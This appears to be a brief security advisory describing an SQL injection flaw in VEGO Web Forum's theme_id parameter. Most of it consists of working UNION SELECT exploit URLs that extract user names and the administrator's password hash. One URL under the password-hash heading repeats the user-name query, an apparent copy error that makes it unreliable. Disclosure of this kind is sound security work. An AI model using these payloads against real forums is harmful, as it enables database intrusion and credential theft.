source: https://www.securityfocus.com/bid/16107/info

VEGO Web Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

For version 1.26:
http://www.example.com/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*

Earlier versions:
http://www.example.com/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4%20from%20vwf_users% 20where%20userid=1/*


Hash of administrator's password -

For version 1.26:
http://www.example.com/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*

Earlier versions:
http://www.example.com/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,pass, 4%20from%20vwf_users% 20where%20userid=1/*